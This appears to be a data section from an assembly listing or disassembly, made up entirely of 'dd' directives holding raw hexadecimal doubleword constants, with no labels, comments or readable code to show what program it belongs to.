		dd 8131FF02h, 39FF020Ah, 5A072581h, 0D13BFFB4h,	47152A13h
		dd 4481006h, 204A612h, 29FF02C2h, 2042F3Ah, 2DC102B5h
		dd 2E6FF5Dh, 558DDFFh, 0CEFF5D2Dh, 50204C8h, 0FF2DC112h
		dd 10FFEAD8h, 20F19A5h,	4780505h, 20CB002h, 0FF5D2D05h
		dd 0C0204EEh, 10FF0512h, 0F1CEFFA4h, 3AFF0C17h,	50204F1h
		dd 78050204h, 20F0502h,	310FC20Ch, 2FA29FFh, 2F2FF0Ch
		dd 541829FFh, 0FFE0DEFFh, 10048F8Eh, 2E39FFh, 0FF020F00h
		dd 25205831h, 0FF3A089Ah, 2E03h, 31FF022Bh, 3584FFCAh
		dd 0FF1657FFh, 0B158183h, 5B0020Fh, 0A36BFFFCh,	0D1DEFFB2h
		dd 467EFFFCh, 0FF920700h, 0D138FF5Eh, 5839FF5Bh, 0C130310h
		dd 21A6D1FFh, 0FF8139FFh, 13529A21h, 21067010h,	0FF9639FFh
		dd 13529321h, 21067010h, 75E639FFh, 520603BEh, 6701013h
		dd 0F739FF21h, 1303C975h, 0A6D1FF0Ch, 0CF39FF21h, 0C8CEFF75h
		dd 0FF0C1303h, 0FF21A6D1h, 1375DB39h, 0FF022B0Ch, 2055A39h
		dd 12C221FFh, 5405120Ch, 0D9FF0700h, 0FF0003BBh, 0FD18E5C4h
		dd 55809FFh, 0FF051382h, 72540D1h, 3A28FF5Ah, 15150E03h
		dd 0C4FF0003h, 0FFFD18E5h, 82055809h, 89FF0517h, 32F5418h
		dd 258782FFh, 4D7F07h, 0FF09060Bh, 10AA539h, 0C4FF004Fh
		dd 3510115h, 0C539FF98h, 0C1FF010Fh, 1040028h, 2909FFh
		dd 0D1FF1100h, 10D1FFC1h, 0FC539FFh, 2919FF01h,	39FF0000h
		dd 10F0340h, 0FF100110h, 80FF6803h, 20FF2CD0h, 4D2A58h
		dd 0FF100104h, 80FF6803h, 35E72CD0h, 20FF2CA2h,	10014158h
		dd 0FF6803FFh, 0E72CD080h, 0E72CA235h, 10F1535h, 42000023h
		dd 0C429FF02h, 4C01D703h, 22980000h, 0C4FF0028h, 4C18C9h
		dd 0FF002800h, 0FF01A9C4h, 2B31h, 0A46037Eh, 1C8201Eh
		dd 2B31FFh, 1D72600h, 1800491Bh, 2921FF01h, 1E0D0000h
		dd 1E500720h, 4B0000A9h, 0B70000h, 13086C00h, 2B21FFh
		dd 0A4D3FF00h, 8820000h, 13037EBAh, 0C4FF0720h,	0A952h
		dd 0A4DBFFh, 438DFF00h,	1E06772Eh, 0C4FF0720h
		dd 0A952h, 0A48BFFh, 4389FF00h,	5289FF2Eh, 0C4FF0720h
		dd 0A952h, 0FF00004Bh, 201E4381h, 52C4FF07h, 0B70000A9h
		dd 0AB5E0000h, 1E232E08h, 0A9620720h, 0D3FF0000h, 3C0000A4h
		dd 0FF1308ABh, 2B21h, 24A4D3FFh, 24600100h, 0FF010F00h
		dd 2921h, 5139FFh, 34600100h, 8AB1900h,	90018A2Eh, 0AB640034h
		dd 34901708h, 5020F00h,	2CF70000h, 0D1FF0049h, 73FFE5E2h
		dd 0CF3B4CFFh, 0F004969h, 49300Ah, 13B010Ah, 28C5FFh, 34390600h
		dd 342200h, 2908AB45h, 0D9C4FF00h, 8DFF0718h, 1420952h
		dd 2911FFh, 22033000h, 0A280034h, 8150901h, 0FF0C1425h
		dd 718DDC4h, 491562h, 3409060Bh, 0C4FF0000h, 2318F9h, 0B700h
		dd 8A2E08C5h, 2969FF01h, 7411308h, 116DDFFh, 0C5003468h
		dd 18A2E08h, 0C003468h,	4D2A1Eh, 0C50000B7h, 18A2E08h
		dd 0C00346Bh, 2929FF01h, 280000h, 2969FF14h, 23h, 346814h
		dd 14411400h, 346Bh, 4D2A14h, 50700h, 0FF140000h, 2919h
		dd 1439FFh, 2600h, 0A9141014h, 14000000h, 21FF1420h, 29h
		dd 491B14h, 10A0D0Dh, 2A29FFh, 9060B00h, 450049h, 9060B00h
		dd 39FF004Dh, 0FF570378h, 471A8E11h, 1BB980FFh,	1FD132FFh
		dd 630521h, 0FF053107h,	15F5AB39h, 7039FF0Dh, 4090603h
		dd 0B7F0710h, 739FF0Eh,	88FF0321h, 502B939h, 0B220846h
		dd 7000906h, 8292h, 835288FFh, 69FF2F07h, 39F7FF39h, 332D1FFh
		dd 0F805022Bh, 5022B03h, 5102422Fh, 10510204h, 843A0882h
		dd 3A05020Fh, 0B2FFh, 0B929FF4Eh, 28439FFh, 96FF3A0Ch
		dd 4E000000h, 0FFB921FFh, 0E839h, 3A104E00h, 2Bh, 5A39FF4Eh
		dd 20C0205h, 0BB03FF10h, 1044479Dh, 2F2E5206h, 2B50204h
		dd 1B0901ADh, 5A3BFF40h, 0FF0029FFh, 5AD5839h, 21060502h
		dd 0FF171605h, 78FF9929h, 0E03h, 39FF0104h, 950002Dh, 0CA01h
		dd 0E0Bh, 39FFAA0Bh, 0FF50002Dh, 5225E19h, 0E0370FFh, 0F50B0000h
		dd 49220815h, 9060B00h,	2D21FF05h, 2E89FF11h, 10A0000h
		dd 280000CAh, 10A0D0Dh,	2C29FFh, 1C09060Bh, 890B00h, 0FF002600h
		dd 7039h, 0FF050906h, 10F03E6h,	27053920h, 10A0D62h, 2C29FFh
		dd 39FF0026h, 600003Ch,	6004909h, 2A31FF1Eh, 49480000h
		dd 0FF1B0000h, 3F39FFF3h, 0FFD131FFh, 2001FAD1h, 5756227h
		dd 0FF53FF98h, 0D1FF0353h, 0CEFF0C50h, 57503F1h, 2E19FFh
		dd 1040AF4h, 3951010Ch,	0FFC50049h, 0FF00497Ch,	4C08h
		dd 34239FFh, 120012Bh, 2A19FFh,	49390600h, 7CFFC500h, 9FF0049h
		dd 0FF1E18E4h, 2A01h, 32C39FFh,	1441010Fh, 0FF2D21FFh
		dd 0AA002E19h, 0C8CEFF41h, 10C0104h, 2A31FFh, 0C010F00h
		dd 2EDFFFh, 479D3500h, 0D1044h,	947F07h, 0FF09060Bh, 0A0D2539h
		dd 39FF1001h, 0E036A01h, 6F0000h, 7885C4FFh, 10A0315h
		dd 41010410h, 2C18h, 86A1800h, 0FF411425h, 86FF8DC4h, 10F03D6h
		dd 2C3Dh, 2C3D0104h, 0A2350000h, 5820FF2Ch, 2601FFh, 3D010400h
		dd 3500002Ch, 35E72CA2h, 20FF2CA2h, 2631FF58h, 1040000h
		dd 2C3Dh, 2 dup(0E72CA235h), 10F1535h, 8DB3051h, 2C22h
		dd 0B220E0Bh, 1B03080Eh, 3159FFFh, 81FF010Ah, 39FF0126h
		dd 26000026h, 0FECEFF5Dh, 39FF0104h, 6000026h, 1D031FFh
		dd 0B220860h, 2208DB0Eh, 1000E0Bh, 19009460h, 8A2E08ABh
		dd 944301h, 1708AB64h, 0F009443h, 7CFF9202h, 60010000h
		dd 0AB190094h, 18A2E08h, 640094A1h, 0A11708ABh,	10F0094h
		dd 2C5Eh, 4139FFh, 0FF010F00h, 2609h, 0DB200142h, 50D1FF08h
		dd 2609FFh, 0F8586100h,	0D00002Ch, 2609FF1Eh, 8A0C0000h
		dd 8DB2001h, 502093Ah, 0B70000h, 2E08C500h, 947E018Ah
		dd 0FF1E0C00h, 2631h, 0C50000B7h, 18A2E08h, 0C0094E2h
		dd 2601FF1Eh, 0B70000h,	2E08C500h, 949C018Ah, 7E140C00h
		dd 14000094h, 94E21451h, 0FF140000h, 2631h, 949C1400h
		dd 0FF140000h, 2601h, 50204h, 94390600h, 7CFFC500h, 9FF0094h
		dd 0FF3E1BE4h, 1400380Ch, 2609FFh, 20140000h, 2C5E14h
		dd 0F2070000h, 10010A28h, 10A0D0Dh, 4539FF10h, 2C090603h
		dd 450000h, 9060B00h, 39FF0094h, 0D1D8FFF1h, 0FF471A1Fh
		dd 4161B980h, 40070502h, 31070063h, 2539FF05h, 0FF0D15F5h
		dd 32FCA39h, 10040906h,	5B08DBA1h, 22520620h, 21FF5B26h
		dd 0FF1BAC52h, 21FF528Ch, 86FF1BD0h, 0D421FF52h, 2106CB1Bh
		dd 1BD321FFh, 41020A2Ah, 0FF2E2628h, 341BBC1h, 98030906h
		dd 2E31FF07h, 415B4107h, 19FF4102h, 0D0FF0C58h,	0FF062059h
		dd 8B29h, 100C0204h, 8687FF03h,	247F0725h, 9060B00h, 152539FFh
		dd 4922087Eh, 7422FF00h, 3D12BFFh, 0FF1E0A35h, 0FFC82DC0h
		dd 5B08DB70h, 493941h, 246313h,	1421013h, 160000D4h, 41010A03h
		dd 1DC4FF00h, 243801h, 24381E06h, 4327A00h, 24381316h
		dd 0DED0FF00h, 16AFFF32h, 243813h, 7EA4D3FFh, 9EFF2E08h
		dd 24381E06h, 0A4D2FF00h, 0A32E087Eh, 24381E06h, 0D8FF1A00h
		dd 0FF050216h, 1E06FA3Ah, 11002438h, 216D8FFh, 0C83AFF05h
		dd 24381E06h, 0FF077000h, 50216D8h, 50242D6h, 24381E06h
		dd 0FCFF1100h, 24381E06h, 0A5D3FF00h, 0A280049h, 10A0C01h
		dd 0C4FF0041h, 1151819h, 2139FF51h, 13D10BFFh, 98BBDDFFh
		dd 2A09FF14h, 14000000h, 0A2AFF51h, 51010F03h, 2A09FFCFh
		dd 1E060000h, 4B0000D4h, 0B004922h, 0D40Eh, 0FF015117h
		dd 2A09h, 496001h, 7511400h, 28000005h,	5010A0Dh, 31C4FF00h
		dd 0F7FF2384h, 5072Eh, 0A0D2800h, 0FF000501h, 8E8431C4h
		dd 0FF100A51h, 1105819h, 19002463h, 2463010Fh, 41017600h
		dd 4159D0FFh, 0FF41012Dh, 8B29h, 24631E06h, 22084800h
		dd 0E0B0049h, 14000000h, 0A002463h, 0A0D0501h, 0FF000501h
		dd 0FF8431C4h, 495CC5h,	0B000045h, 240906h, 35B39FFh, 8E11FF57h
		dd 0FF3A16D8h, 4E030887h, 63400705h, 5310700h, 0F58D39FFh
		dd 39FF0D15h, 9060352h,	0FF021004h, 22088129h, 70051326h
		dd 77832106h, 0C210619h, 0AC210670h, 0C07BE77h,	72FF0507h
		dd 0FF020F03h, 0FF105839h, 31F0C80h, 0FF8672FFh, 0A21801C4h
		dd 7220FF2Ch, 2100486h,	88129FFh, 5132622h, 83210670h
		dd 0D3695577h, 0AC210670h, 0FCFF77h, 5070C07h, 0D10BFF7Ch
		dd 5839FF5Bh, 0C80FF10h, 3AFF031Fh, 0C4FF00DEh,	2CA21801h
		dd 541820FFh, 29FF020Ah, 26220881h, 6700513h, 8778321h
		dd 700C2106h, 77AC2106h, 70C0735h, 0FF60FF05h, 0FF5BD108h
		dd 0FF105839h, 31F0C80h, 0FF86112Bh, 811801C4h,	18D1FF08h
		dd 0CEFF8654h, 39FF03C8h, 88FF0372h, 3A088672h,	101FA706h
		dd 3BCFF3Eh, 0B581FF03h, 520F1006h, 20135206h, 20F3117h
		dd 315A31FFh, 0A820021Ah, 0B60306FFh, 2E31FF07h, 600DC4FFh
		dd 1B03086Ah, 72EC4FFh,	0DB931FFh, 9AE39FFh, 41022007h
		dd 5410204h, 10070D18h,	0FF090600h, 12055239h, 3B521FFh
		dd 0D88F8EFFh, 0C4E0315h, 6E851A07h, 3D0C310Fh,	29FF021Ah
		dd 15290C81h, 6090603h,	5070521h, 7004608h
		dd 15471F0Ch, 36C2908h,	0B581FF03h, 82FF1044h, 0C608C587h
		dd 1500006Ch, 521E0Ah, 7A22FF00h, 175206C8h, 0FF190431h
		dd 1D58C1h, 31020400h, 0C511FF06h, 3639FF28h, 41F04FFh
		dd 0FF003102h, 0C181h, 1D051206h, 3AFF0000h, 6C010AF0h
		dd 39450000h, 9060000h,	55239FFh, 0B521FF12h, 8F8EFF03h
		dd 39FF0DD8h, 88FF0369h, 3211FF52h, 0C1D1FF08h,	0FF72FD07h
		dd 1F04FF57h, 378FF3Ah,	16276557h, 63D9813h, 42F2E52h
		dd 9121FF02h, 0C121FF21h, 0FF02D321h, 0FF17B821h, 17083219h
		dd 55C1D0FFh, 0FF720700h, 0FFF503EBh, 64658C39h, 62D2E16h
		dd 0D6831352h, 21B50204h, 21C129FFh, 29FF02FEh,	19FF17B8h
		dd 0FF130832h, 0FF4BD9D0h, 4034911h, 8619DCFFh,	0B0120C12h
		dd 0FFD33AFFh, 70C6C3Ah, 51BFF72h, 0BD3A087Bh, 4F655703h
		dd 311B9B21h, 3D0C0C56h, 25CC1FFh, 0C8E0705h, 0FFD339FFh
		dd 9060306h, 70FF0C17h,	0F488686h, 20C1002h, 150D150Ch
		dd 307FF14h, 80F0906h, 0FE070C31h, 0F6FF7207h, 3868605h
		dd 9060B15h, 11713A08h,	39FF0D1Fh, 541F11CCh, 0FF053A08h
		dd 868670h, 46161818h, 0FF0239FFh, 0FF13D102h, 39FFB9DDh
		dd 101F1A07h, 0A7210603h, 3FE1107h, 0FF5A0700h,	3312h
		dd 6DDE88FFh, 0FF5411FFh, 5A072E8Bh, 30218FFh, 43A054Eh
		dd 0B3751F1Ah, 3219FF17h, 0D0FF1308h, 17B348D9h, 83219FFh
		dd 0D0FF3CD7h, 0D0316D5h, 0FF8A39FFh, 0E9071D38h, 18010A0Dh
		dd 9A139FFh, 1AC93A08h,	0A0AD5B1Fh, 4DC3AFFh, 10FA001h
		dd 75A01EA0h, 0B300001Dh, 3219FF17h, 0D0FF1308h, 0F3D48D9h
		dd 1DF202h, 17B36E00h, 83219FFh, 81C5FF22h, 1D60011Fh
		dd 17B30000h, 83219FFh,	0D0FF3CD7h, 60316D5h, 40078321h
		dd 0FC11h, 39FF0D00h, 88FF035Bh, 13165418h, 4F1107A7h
		dd 0FFFC5A07h, 0FF002E30h, 0FF6DDE88h, 0B8325411h, 5A072503h
		dd 4E03A8FFh, 6553A05h,	5020521h, 0DCFF0403h, 1BA78619h
		dd 867087FFh, 0FF17B386h, 17083219h, 0FD9D0FFh,	0B929FF02h
		dd 0FF17B315h, 0FF083219h, 19FFD2D1h, 0DDFF1380h, 0C4FF00BBh
		dd 0E0341831h, 39FF2908h, 0CE38FF1Dh, 0E9072516h, 0A0010A0Dh
		dd 0FF3039FFh, 0FF13D100h, 58ABB9C1h, 0C5B1Fh, 0D882E00h
		dd 1E0D010Fh, 52DEFF0Dh, 0FF0D1703h, 4034911h, 8619DCFFh
		dd 1703DAA7h, 0A0010A0Ch, 0FF0D0104h, 4034911h,	8619DCFFh
		dd 1F81C5FFh, 0FF086001h, 0D1799D1h, 34911FFh, 19DCFF04h
		dd 6CA686h, 1D150D00h, 17B30000h, 83219FFh, 0FFD2D1FFh
		dd 0FF138019h, 1DBBDDh,	0C4FF0000h, 6C1831h, 8E00000h
		dd 38110C13h, 0D000000h, 37939FFh, 541888FFh, 7002916h
		dd 1D7Fh, 0FF09060Bh, 0A3069E39h, 83211FFh, 15CB1B03h
		dd 1D220886h, 60B0000h,	3F014F09h, 0E0B0000h, 39FF2903h
		dd 61F16F2h, 42F2E52h, 21060502h, 3050205h, 19DCFF04h
		dd 6C1BA786h, 0FF3A087Bh, 0F503D128h, 29089A00h, 30439FFh
		dd 40305AAh, 8619DCFFh,	9081C5FFh, 1D22087Eh, 60B0000h
		dd 0FF17B309h, 13083219h, 48D5D0FFh, 1Bh, 4139FF0Dh, 0EFC45703h
		dd 0FF3A16D8h, 31EFF96h, 4007054Eh, 5C0700E4h, 0E000507h
		dd 3A1904FFh, 2985FFh, 7000E00h, 0C8CEFF5Ah, 0FF031EFFh
		dd 25541888h, 0FF7C5A07h, 906031Eh, 1B03086Ah, 7B9C1FFh
		dd 0C1C4FF5Ch, 0FF2E086Ah, 5C072ED8h, 5435C4FFh, 3DC4FF00h
		dd 0C4FF0054h, 0FF4784DDh, 0FF028782h, 70D921DDh, 48F8EFFh
		dd 0FF310710h, 56FF21DDh, 8F8EFF70h, 0C4FF1004h, 720021Dh
		dd 39FF0DDFh, 0D100FFD9h, 246031Fh, 138139FFh, 0FF5BDDFFh
		dd 2AC359C1h, 9FF4E0Bh,	5809FF5Ah, 0C7136F0Ch, 62A026Dh
		dd 21D929FFh, 216D8FFh,	3D919FFh, 2AC32F2Eh, 0FFE6020Fh
		dd 2235219h, 1FF7E41h, 51021FD1h, 705CE02h, 39FF0241h
		dd 5C262A81h, 5B082007h, 21631FFh, 3D029FFh, 0D031FF13h
		dd 2EDCFF1Bh, 12B5C4FFh, 0FF58DDFFh, 204C63Ah, 21A0556h
		dd 5C3D0556h, 17082007h, 1FF070Ch, 1C0FF39h, 0FF4F021Fh
		dd 0AA0301D3h, 541829FFh, 7002958h, 0B001C7Fh, 39FF0906h
		dd 31FFC385h, 0B35D0832h, 85C4FF25h, 83201FFh, 3201FF13h
		dd 2F070308h, 0AE38FF35h, 1886D305h, 0D3250886h, 8861886h
		dd 1886D325h, 74F8686h,	38FF352Fh, 0FF13B1F7h, 3083209h
		dd 0FF352F07h, 13B1C738h, 352F0751h, 0B1D738FFh, 1D22h
		dd 1C3D010Fh, 3D140000h, 0FF00001Ch, 3C0195C4h,	1E06001Ch
		dd 1C3Ch, 2E85FF07h, 1C3D14h, 0EDC4FF00h, 1C193Eh, 1C191E06h
		dd 1C4800h, 0FF6EDEFFh,	81DBh, 4C591904h, 1C3C01h, 909060Bh
		dd 31F19FFh, 58046557h,	1C0513h, 0FF3AD0FFh, 1C5E5BDFh
		dd 1271A00h, 2 dup(0C3001C5Eh),	0FFEA22FFh, 5EFFDE10h
		dd 3D38AFFh, 58052106h,	2CC5FF13h, 231300h, 39060000h
		dd 3813001Ch, 4C13001Ch, 66130000h, 1C3906h, 1C6313h, 1C7113h
		dd 1C71882Eh, 10F1900h,	4001C71h, 1C7101h, 377FF55h, 1C631E06h
		dd 0B8017A00h, 14004603h, 0A001C5Eh, 5001h, 39FF0026h
		dd 0C5FF050Bh, 0B354h, 0BB00004Bh, 10F0000h, 400004Ch
		dd 1C6401h, 1C750055h, 23010F00h, 1040000h, 55001C64h
		dd 64567700h, 10F001Ch,	0FF001C38h, 104C73Ah, 0F000050h
		dd 2CC5FF01h, 63014200h, 316001Ch, 38FF35D6h, 84h, 1660104h
		dd 6001C2Ah, 2CC5FF1Eh,	4B00h, 0B0072C35h, 1CF1CEFFh, 0C43AFF00h
		dd 1C3906h, 0F1CEFF13h,	3813001Ch, 0FF13001Ch, 7A002CC5h
		dd 0D119FF01h, 2A011503h, 5B26001Ch, 62CC1FFh, 2CC1FF1Eh
		dd 0FF00FD48h, 0DE81h, 0DE81FFh, 0DE81FF00h, 6E0000h, 1C38144Ch
		dd 0FF140000h, 1CF1CEh,	231400h, 1C5EC300h, 4500h, 6D09060Bh
		dd 0FF00FD01h, 0DE81h, 0DE81FFh, 0DE81FF00h, 260000h, 0CEFF1400h
		dd 1CF1h, 2314h, 1C5EC3h, 0B000045h, 0FF140906h, 0C3002CC5h
		dd 45001C5Eh, 60B0000h,	55001C09h, 422F0700h, 38FF0502h
		dd 35000055h, 1A1318FFh, 4B100647h, 0FF5A0725h,	31F35AEh
		dd 0A439FF0Dh, 11070502h, 0D03ACh, 5075C07h, 56075913h
		dd 481F7D05h, 35939FFh,	0EC88FFh, 0AED1FF03h, 0FA939FFh
		dd 3A21FF02h, 0FF02422Fh, 1703CF21h, 72FF2705h,	0FF210603h
		dd 0CB1BD1C5h, 0FFF60700h, 0FF1F1880h, 39FFAED1h, 10020F90h
		dd 5020410h, 6037427h, 0FF482A21h, 18FFCB39h, 422F1FD1h
		dd 0D239FF02h, 27051703h, 20A037Bh, 4605070Ch, 865C4FFh
		dd 783AD5Bh, 72EDAFFh, 0E0341F05h, 18D1FF08h, 39FF0354h
		dd 0D119FF30h, 41A8F17h, 0D4D9FF02h, 4C6E031Ah,	0D9FF02A0h
		dd 0B031AD4h, 15030906h, 0D9FF1708h, 0B031AD4h,	21060906h
		dd 0BE2F0783h, 2B838FFh, 0A0D1A8Fh, 0FF001001h,	0FF8431C4h
		dd 1D5CDDh, 88FF0B00h, 1D91h, 6B26h, 21060906h,	70920705h
		dd 0FF00006Bh, 6265E388h, 10010A29h, 0B9920700h, 0C210609h
		dd 92070C21h, 7E01FFh, 65E388FFh, 0A030CFFh, 67021001h
		dd 200120CEh, 0FF115D2Dh, 1400037Fh, 20F1520h, 5D2D2067h
		dd 0B9C7FFh, 1839FF00h,	1FD118FFh, 205AF6FFh, 10FF100Ah
		dd 0FF1708A5h, 31AD4D9h, 2200E0Bh, 1AD4D9FFh, 250E0B03h
		dd 0FF29089Ah
		dd 2C2E39h, 431AA00h, 0FF011A19h, 3F39h, 2539FF0Dh, 39FF1E06h
		dd 4800003Fh, 0E6FFh, 61920700h, 0FF007FFFh, 479D6188h
		dd 0D1044h, 0ED057F07h,	906038Ch, 35139FFh, 28FF0597h
		dd 88FF002Ch, 11FF6DDEh, 8DFFFD54h, 45002Ch, 9060B00h
		dd 57007905h, 9BD8EFC4h, 3FA1107h, 0CE39FF29h, 54E038Ch
		dd 57FF1107h, 56072503h, 2439FF05h, 0FF1B0E03h,	0C2072EC4h
		dd 1F7D1611h, 7D050251h, 7D16111Fh, 3107251Fh, 59137D05h
		dd 0FF075907h, 725B9C1h, 3AFF3A05h, 600003Eh, 53100409h
		dd 5D2D7801h, 0D0FF6B2Fh, 0D0DDFF38h, 0C7020403h, 7B4132Dh
		dd 91DDFF8Eh, 1839FFh, 0FF0E0000h, 0EB65E3D1h, 2DC71703h
		dd 0FFBE2F5Dh, 4030438h, 172D9302h, 0D8FF2DC7h,	0A410FFEAh
		dd 46Eh, 0C7170E00h, 0EEFF132Dh, 5AC7FF07h, 91D9FF02h
		dd 170E0000h, 0FF132DC7h, 2D6607F2h, 0DAFF4C13h, 132D935Ah
		dd 132D93B9h, 6207F2FFh, 1991DDFFh, 3AFF0E0Bh, 0B4132D9Ah
		dd 6EFFF07h, 42F2E52h, 2040502h, 0FF91DDFFh, 94D2h, 0C4FF600Eh
		dd 5024A5Ah, 193AFF78h,	0FF479DBEh, 1535A80h, 2F5D2D78h
		dd 38D0FF6Bh, 403B0FFh,	132DC702h, 0FF8E07B4h, 39FF91DDh
		dd 18h,	0E3D1FF0Eh, 0C7025565h,	0BE2F5D2Dh, 16FB38FFh
		dd 172D9317h, 0D8FF2DC7h, 0A410FFEAh, 46Eh, 93170E00h
		dd 6908132Dh, 935ADAFFh, 8BFF132Dh, 0FF0653AFh,	2D93B029h
		dd 0FFABFF13h, 204E4AEh, 0FF132D93h, 1204F1CEh,	0D8FF2DC7h
		dd 0A410FFEAh, 0FE6Eh, 2DC7170Eh, 7EEFF13h, 25AC7FFh, 91D9FFh
		dd 0C7170E00h, 0F2FF132Dh, 132D6607h, 5ADAFF4Ch, 0B9132D93h
		dd 0FF132D93h, 0FF6207F2h, 0B1991DDh, 9A3AFF0Eh, 7B4132Dh
		dd 5206EFFFh, 2042F2Eh,	0FF020405h, 0D2FF91DDh,	0E000094h
		dd 5AC4FF60h, 7805024Ah, 0BE193AFFh, 80FF479Dh,	21060380h
		dd 0FF11079Bh, 29FF89D0h, 2F2E03D0h, 2B50204h, 0DDFF02F3h
		dd 7EDEFFAEh, 100505A6h, 21686FFh, 13520605h, 6FD1FF0Ch
		dd 392208EEh, 4A020439h, 0DE31FF02h, 0B44C132Dh, 31FF0204h
		dd 24A0291h, 2DDE31FFh,	24A3B13h, 2DDE31FFh, 0A489FF13h
		dd 31FF020Fh, 715A072Eh, 1FD113FFh, 5831FF02h, 2041010h
		dd 3CF0A10h, 10024A17h,	37339FFh, 29FFAD4Eh, 0C0FF69E1h
		dd 4CADB952h, 3A21FF02h, 0FF2106FBh, 29FFB029h,	410241B7h
		dd 2 dup(20410204h), 415AD8FFh,	3A21FF02h, 851A04FFh, 0FF02042Bh
		dd 1002FA09h, 6F39FFh, 5020E00h, 0C0C1204h, 0C020400h
		dd 0F569FF47h, 5A86FF20h, 81FF4C23h, 7000092h, 1D7Fh, 21010E0Bh
		dd 0B00001Dh, 21010Eh, 0A150000h, 60B4402h, 4031609h, 3F01h
		dd 8FA112Bh, 0A363337h,	8D01h, 1A2A40Bh, 2B00003Fh, 3708FA11h
		dd 2043633h, 10A3B23h, 0FF010A10h, 28002FC1h, 0FF2F39FFh
		dd 906006Ah, 4500001Dh,	204031Fh, 0AA031823h, 3A081823h
		dd 3FDD2FFh, 3F170Eh, 0FF112B00h, 3337084Fh, 10A0D36h
		dd 0C4FF0010h, 0C4FF8409h, 0AF11FF35h, 450049h,	9060B00h
		dd 3F010403h, 112B0000h, 37084FFFh, 2043633h, 18001823h
		dd 0B00001Dh, 4030906h,	3F01h, 4FFF112Bh, 36333708h, 0FF1716D2h
		dd 3B06F1CEh, 3D0D9FFh,	0FF02040Dh, 1800F1CEh, 60B0024h
		dd 0B002409h, 0CA4Eh, 0CA1E06h,	0AFD2FF00h, 0CA1708h, 11320A00h
		dd 0E0B0024h, 0CA0104h,	52743000h, 24220000h, 24970B00h
		dd 0CA4E0B00h, 1040000h, 0B80000CAh, 0CA0A0415h, 0FF2B0000h
		dd 16305019h, 3A7D1FFh,	0CA1400h, 0D010A00h, 0B22939FFh
		dd 0E03h, 0FF0D010Ah, 3FBC539h,	0Eh, 0CA14h, 39FF010Ah
		dd 28000029h, 0FF3939FFh, 90603EFh, 450034h, 9060B00h
		dd 3F010403h, 112B0000h, 37084FFFh, 33FF3633h, 20403D1h
		dd 6F1CEFFh, 0D101FF3Bh, 0FF020403h, 1904F1CEh,	0A3132D1Ah
		dd 354DEFFh, 0CEFF0204h, 1A1904F1h, 7B32A50Bh, 0FF020403h
		dd 1904F1CEh, 204E0B1Ah, 4152001h, 19FF200Ah, 0FF163050h
		dd 0A03A7D1h, 8201h, 0E0B196Eh,	14000000h, 2931FFh, 82010A00h
		dd 0E0B0000h, 14000000h, 2931FFh, 82010A00h, 0E0B0000h
		dd 74300000h, 22000082h, 4500002Ch, 60B0000h, 1040309h
		dd 2B00003Fh, 84FFF11h,	4363337h, 1D182302h, 0E0B0000h
		dd 3F17h, 4FFF112Bh, 36333708h,	8D010Ah, 0B9A40B00h, 3F01h
		dd 4FFF112Bh, 36333708h, 803909h, 2001D700h, 4FFF4603h
		dd 802208h, 7422FF00h, 1E052D11h, 2C3Dh, 17422FFh, 8063h
		dd 80970Bh, 80634500h, 8450000h, 5CF6FF5Dh, 0B000080h
		dd 0FF5288FFh, 27D9h, 8048h, 0F9C4FF00h, 0A03D218h, 806301h
		dd 2C970B00h, 970B0000h, 15280094h, 2C3D01h, 2600h, 18DDC4FFh
		dd 5CF6FF1Bh, 0B00002Ch, 0FF5288FFh, 27D9h, 8048h, 0F9C4FF00h
		dd 0A03D218h, 2C3D01h, 14B60B00h, 27D9FFh, 0C4FF0000h
		dd 88FF18F9h, 84CFF6Fh,	0FF009422h, 0FF017422h,	0B002439h
		dd 7C5188FFh, 0D7000080h, 2C3801h, 2E032A00h, 2C3888h
		dd 10F3D00h, 2C38h, 2C381E06h, 9C7A0000h, 0FF13037Eh, 0D7002431h
		dd 2E034101h, 10F4188h,	69411E41h, 0FF01045Eh, 0FF002431h
		dd 41313110h, 0DCFF9C6Dh, 0FF000041h, 10F10D2h,	2431FFh
		dd 31FF0104h, 15B80024h, 32410A04h, 41DCFFh, 0FF010400h
		dd 0B8002431h, 0FFCF0F15h, 0FF002431h, 38014F3Ah, 400002Ch
		dd 2431FF0Ah, 0FF9C7600h, 9439DCh, 80119C27h, 38FF0000h
		dd 39FF0183h, 0FF0B0024h, 2C025188h, 0D1FF0000h, 0EEFF0117h
		dd 0FF00002Ch, 0FF0176FCh, 2CEEh, 1B90127h, 3501B9h, 35017600h
		dd 1270000h, 2CFCFFh, 801500h, 39FF2800h, 136AFFCEh, 80BBDDFFh
		dd 0FF280000h, 6AFFD639h, 0BBDDFF13h, 28000080h, 0FF3E39FFh
		dd 906D16Bh, 2800FD01h,	0FF0639FFh, 906D16Bh, 0F1CEFF01h
		dd 28000080h, 36E39FFh,	2C0906h, 4500h,	309060Bh, 3F0104h
		dd 0FF112B00h, 3337084Ch, 0FF028C36h, 0FF53D029h, 1D600136h
		dd 0F40B0000h, 22DE0FFh, 1D6094h, 0D2F40B00h, 8D010Ah
		dd 1D970B00h, 0A40B0000h, 0D1C6FF80h, 3F0104h, 0FF112B00h
		dd 3337084Ch, 8D010A36h, 0A40B0000h, 0C6FF1EFFh, 3F0104D1h
		dd 112B0000h, 37084CFFh, 3AFF3633h, 0FF1503D1h,	9422084Ch
		dd 7422FF00h, 84CFF32h,	39009422h, 0FF012D39h, 4002419h
		dd 0FFC9DCFFh, 0FF2B900Ah, 36332610h, 1E060000h, 2401FFh
		dd 4348h, 23018A3Bh, 10D0000h, 0F000023h, 2409FF01h, 0FF1E0600h
		dd 48002401h, 3D000043h, 2E084CFFh, 432A018Ah, 0C1FF0000h
		dd 432A014Ch, 10F0000h,	740151h, 14B60B00h, 9FF1451h, 70FF0024h
		dd 0F4D1FFBDh, 0FF030000h, 0FF08DE81h, 300F4D1h, 2800007Dh
		dd 0FFDC39FFh, 90603F2h, 0A40B0094h, 3C71AFFh, 3F0104h
		dd 0FF112B00h, 3337084Ch, 23020436h, 2 dup(180018h), 1D18h
		dd 309060Bh, 3F0104h, 43112B00h, 36333708h, 0CEFF0204h
		dd 11FF06F1h, 0FF286ED5h, 314F139h, 4030906h, 3F01h, 843112Bh
		dd 4363337h, 3F01h, 843112Bh, 4363337h,	0F1CEFF02h, 0A4031800h
		dd 0D1C7FFDFh, 2B00001Dh, 37084311h, 2043633h
		dd 18001823h, 0B00001Dh, 4030906h, 3F01h, 843112Bh, 4363337h
		dd 0F1CEFF02h, 18001800h, 0B00001Dh, 4030906h, 3F01h, 843112Bh
		dd 4363337h, 182302h, 1D180018h, 60B0000h, 1040309h, 2B00003Fh
